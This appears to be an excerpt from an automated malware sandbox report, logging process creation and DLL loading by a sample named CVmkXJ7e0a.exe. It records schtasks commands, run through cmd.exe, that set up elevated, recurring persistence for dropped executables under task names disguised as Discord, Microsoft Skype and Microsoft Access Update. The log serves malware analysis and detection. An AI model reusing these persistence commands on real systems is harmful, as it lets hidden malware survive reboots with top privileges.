                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe"
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: unknownProcess created: C:\Users\Public\Pictures\xdwdUpdate.exe C:\Users\Public\Pictures\xdwdUpdate.exe
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe"
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: unknownProcess created: C:\Users\Public\Pictures\xdwdUpdate.exe C:\Users\Public\Pictures\xdwdUpdate.exe
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Users\Public\Pictures\xdwdUpdate.exe "C:\Users\Public\Pictures\xdwdUpdate.exe" Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: edgegdi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeSection loaded: sxs.dllJump to behavior
